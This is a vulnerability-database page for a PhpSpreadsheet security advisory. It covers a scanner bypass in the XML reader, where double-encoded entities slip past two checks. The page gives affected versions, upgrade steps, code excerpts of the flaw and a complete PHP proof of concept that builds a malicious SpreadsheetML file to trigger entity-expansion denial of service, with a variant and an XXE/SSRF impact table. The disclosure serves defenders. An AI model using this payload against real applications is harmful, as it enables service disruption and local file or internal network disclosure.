high · 8.8 Patched

PhpSpreadsheet: XmlScanner Bypass via Double-Encoded unentity() TOCTOU Allows XXE and Denial of Service

CVE-2026-108357 · GHSA-rxj4-h86g-25gc · published 27 Oct 2026

How serious is it

  • Severity: high, CVSS score 8.8 out of 10.
  • No exploit prediction (EPSS) score yet.
  • Not on the CISA list of exploited vulnerabilities.
  • No public exploit in Exploit-DB.

Is your app affected by CVE-2026-108357?

Paste this prompt into Claude Code, Cursor or any AI coding tool: it runs a free Shippable scan of your project and fixes what it finds. Built with Lovable, Bolt or v0? Scan your live app. Or upload your package file.

Who is affected

  • phpoffice/phpspreadsheet (Packagist) >= 4.0.0, <= 5.9.0
  • phpoffice/phpspreadsheet (Packagist) >= 3.3.0, <= 3.10.7

How to check

  1. Run composer show phpoffice/phpspreadsheet in your project to see the installed version, including copies pulled in by other packages.
  2. Or paste your lockfile into the checker: it lists every package with a known vulnerability, this one included.

How to fix

Copies a prompt for Claude Code, Cursor or Codex: it checks your lockfiles for this and upgrades it.
  1. On >= 4.0.0, <= 5.9.0: Upgrade phpoffice/phpspreadsheet to 5.10.0 or later, commit the lockfile and redeploy.
  2. On >= 3.3.0, <= 3.10.7: Upgrade phpoffice/phpspreadsheet to 3.10.8 or later, commit the lockfile and redeploy.
  3. If a vulnerable version was live, check your logs and rotate the secrets that server could read.

The advisory

### Summary The SpreadsheetML XML reader (`Reader\Xml`) scans file content **twice** through `XmlScanner::scan()`, and each scan runs an `unentity()` callback that calls `html_entity_decode()` **after** the pattern check. By double-encoding the `<` character as `&#38;#60;`, the first scan decodes `&#38;` to `&` (forming `&#60;`), and the second scan decodes `&#60;` to `<` (forming `<!DOCTYPE`). Neither scan's pattern check detects the `<!DOCTYPE` string because the callback runs after each check. This enables Denial of Service via entity expansion on **all PHP versions**, and XXE/SSRF on PHP < 8.0 or when `LIBXML_NOENT` is used. ### Details The vulnerability involves an interaction between three code locations: **1. `XmlScanner::scan()`** (XmlScanner.php, lines 87–108) — checks the pattern *before* the callback: ```php public function scan($xml): string { $pattern = '/\0*<\0*!\0*D\0*O\0*...\0*/'; if (preg_match($pattern, $xml)) { // CHECK 1 (raw) throw new Exception('Detected use of ENTITY...'); } $xml = $this->toUtf8($xml); if (preg_match($pattern, $xml)) { // CHECK 2 (UTF-8) throw new Exception('Detected use of ENTITY...'); } if ($this->callback !== null) { $xml = call_user_func($this->callback, $xml); // DECODE (after checks!) } return $xml; // <!DOCTYPE now present, never checked } ``` **2. `Xml::canRead()`** (Xml.php, lines 79–117) — scans and stores the result: ```php $data = file_get_contents($filename); $data = $this->getSecurityScannerOrThrow()->scan($data); // 1st scan // ... $this->fileContents = $data; // stores partially-decoded content ``` **3. `Xml::trySimpleXMLLoadStringPrivate()`** (Xml.php, lines 120–150) — re-scans the stored content: ```php $data = $this->fileContents; // already partially decoded $xml = simplexml_load_string( $this->getSecurityScannerOrThrow()->scan($data) // 2nd scan finishes decoding ); ``` The double-scan decode chain: ``` Raw file: &#38;#60;!DOCTYPE | 1st scan(): pattern check → no match (no "<" character) callback → html_entity_decode(&#38;) = & | Stored: &#60;!DOCTYPE | 2nd scan(): pattern check → no match (no "<" character) callback → html_entity_decode(&#60;) = < | Parser sees: <!DOCTYPE ← never detected by either scan ``` The `unentity()` callback (Xml.php, lines 54–61) protects five named entities (`&amp; &lt; &gt; &quot; &apos;`) via Unicode placeholders, but numeric entities (`&#38; &#60; &#x26; &#x3C;`) are not protected and are decoded by `html_entity_decode()`. ### PoC Save the following as `poc_toctou.php` in a directory with PhpSpreadsheet installed via Composer: ```php <?php require 'vendor/autoload.php'; // Double-encoded: &#38;#60; survives two scan() passes // 1st scan callback: &#38; → & (forms &#60;) // 2nd scan callback: &#60; → < (forms <!DOCTYPE) $entity_value = str_repeat('A', 100000); $refs = str_repeat('&big;', 200); $xml = '<?xml version="1.0"?>' . "\n" . '<?mso-application progid="Excel.Sheet"?>' . "\n" . '&#38;#60;!DOCTYPE Workbook [' . "\n" . ' &#38;#60;!ENTITY big "' . $entity_value . '">' . "\n" . ']>' . "\n" . '<Workbook xmlns="urn:schemas-microsoft-com:office:spreadsheet"' . "\n" . ' xmlns:ss="urn:schemas-microsoft-com:office:spreadsheet">' . "\n" . ' <Worksheet ss:Name="Sheet1">' . "\n" . ' <Table><Row><Cell><Data ss:Type="String">' . $refs . '</Data></Cell></Row></Table>' . "\n" . ' </Worksheet>' . "\n" . '</Workbook>'; file_put_contents('poc.xml', $xml); echo "File size: " . filesize('poc.xml') . " bytes\n"; $mem_before = memory_get_usage(true); $reader = new \PhpOffice\PhpSpreadsheet\Reader\Xml(); echo "canRead: " . ($reader->canRead('poc.xml') ? 'true' : 'false') . "\n"; $spreadsheet = $reader->load('poc.xml'); $peak = memory_get_peak_usage(true); echo "Peak memory: " . round($peak / 1024 / 1024, 1) . " MB\n"; $val = $spreadsheet->getActiveSheet()->getCell('A1')->getValue(); echo "Cell A1 length: " . strlen($val) . " bytes\n"; echo "Entity expansion: " . (strlen($val) > 10000 ? "CONFIRMED" : "not detected") . "\n"; ``` Run: `php -d memory_limit=512M poc_toctou.php` **Expected result:** The file loads successfully, bypassing both scan passes. Internal entities expand, consuming ~45 MB of memory. Cell A1 contains 32,767 bytes (PhpSpreadsheet's max cell length, confirming entity expansion). **Hex variant:** Replace `&#38;#60;` with `&#38;#x3C;` — both are decoded by `html_entity_decode()`. **Tested on:** PhpSpreadsheet 5.9.0, PHP 8.5.3, libxml2 2.9.13. ### Impact | Attack | PHP < 8.0 / libxml2 < 2.9 | PHP 8.x / libxml2 2.9+ | |--------|---------------------------|------------------------| | Denial of Service (quadratic blowup) | **Exploitable** | **Exploitable** | | Local file read via SYSTEM entity | **Exploitable** | Blocked by default | | SSRF via SYSTEM entity | **Exploitable** | Blocked by default | | File read when LIBXML_NOENT is used | **Exploitable** | **Exploitable** | Any application that accepts user-uploaded SpreadsheetML XML files (recognized by the `<?mso-application progid="Excel.Sheet"?>` processing instruction) and processes them with PhpSpreadsheet's `Xml` reader is vulnerable.

Check your whole app

Dependencies are only half of it. Free and read-only: before you push, run npx shippable-dev scan localhost:3000 in your project folder, no account needed. For your live app, you prove it's yours with a one-line tag first.

References

Merged from GitHub Advisory Database, OSV. Last updated 28 Oct 2026. All vulnerabilities · RSS · JSON